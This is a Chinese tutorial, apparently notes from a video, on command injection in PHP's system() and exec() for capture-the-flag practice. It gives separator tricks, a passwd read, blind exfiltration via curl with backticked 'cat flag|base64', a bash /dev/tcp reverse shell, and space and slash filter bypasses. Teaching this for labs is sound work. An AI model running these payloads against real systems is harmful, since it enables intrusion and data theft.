- 命令截断
- 无回显
- 过滤与绕过
1. 命令注入-命令截断
system(“ls $dir”);
想截断上面的语句进行绕过,我们可以构造下面的语句
- $dir=/tmp; cat /etc/passwd
这里的“ ;”将语句截断,并执行cat/etc/passwd命令,除了“;”之外还有下面的也可以进行截断
- ;(分号将前面的命令隔断,开始一个新的命令)
- |(将前面的输出,当做一个管道文件传给后一个命令)
- &(把前面的一个命令放到后台执行,再执行下一个命令)
- %0a(可以认为输入前面的一个命令之后敲了一个回车,然后又输入了下一个命令)
- ``(对反单撇号里面的命令进行执行,然后把字符串返回过来)
如下面的代码
这里给dir赋值为"temp;cat/tmp/flag",可以看到flag显示出来
2 . 命令注入-无回显
exec(‘$cmd’,$a)
exec函数将cmd执行的命令输出到变量a中,无法显示出来,这时候就可以通过其他方式显示出来,有下面两种方法
- $cmd = curl ip?a=
ls
(http日志)- 反弹shell
2.1 方法一
$cmd = curl ip?a=`ls`
- curl
在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具,可以说是一款很强大的http命令行工具。它支持文件的上传和下载,是综合传输工具,但按传统,习惯称url为下载工具。
语法:# curl [option] [url]
-A/--user-agent <string> 设置用户代理发送给服务器
-b/--cookie <name=string/file> cookie字符串或文件读取位置
-c/--cookie-jar <file> 操作结束后把cookie写入到这个文件中
-C/--continue-at <offset> 断点续转
-D/--dump-header <file> 把header信息写入到该文件中
-e/--referer 来源网址
-f/--fail 连接失败时不显示http错误
-o/--output 把输出写到该文件中
-O/--remote-name 把输出写到该文件中,保留远程文件的文件名
-r/--range <range> 检索来自HTTP/1.1或FTP服务器字节范围
-s/--silent 静音模式。不输出任何东西
-T/--upload-file <file> 上传文件
-u/--user <user[:password]> 设置服务器的用户和密码
-w/--write-out [format] 什么输出完成后
-x/--proxy <host[:port]> 在给定的端口上使用HTTP代理
-#/--progress-bar 进度条显示当前的传送状态
curl:127.0.0.1:8888 执行之后,127.0.0.1:8888的html就会显示在屏幕上了
- Python -m SimpeHTTPServer 8888
- Curl 127.0.0.1:8888?r=
cat flag|base64
cat flag|base64
这是一个反单撇号,当bash执行它的时候,会先执行反单撇号中的内容,然后把反单撇执行的结果以一个字符串的形式再进行一次拼接,在监听的http日志里就可以看到内容
发现flag好像少了一些东西,这个命令执行,遇到空格或者换行符这种空白字符的时候,就会被截断,收到的flag是不完整的,此时可以通过base64的方式,对他进行一次编码,编码之后就能收到完整的flag了
2.2 反弹shell
- nc –lp 8888 –vvv
- bash -i >& /dev/tcp/127.0.0.1/8888 0>&1
(这个语句如果直接在bash里面执行是没什么问题的,但是如果把它以参数的形式传给system或者exec这些函数的话,发现并不能反弹shell,我们可以在前面加一个bash
-c)
- Bash -c “bash -i >& /dev/tcp/127.0.0.1/8888 0>&1”,只需要在shell中输入命令就行了
3. 命令注入-过滤与绕过
- cat<>flag (过滤空格)
- base64( 过滤/)
- 通配符
- 星号表示任意字符任意数量
- ?表示一个字符
本篇文章内容来自视频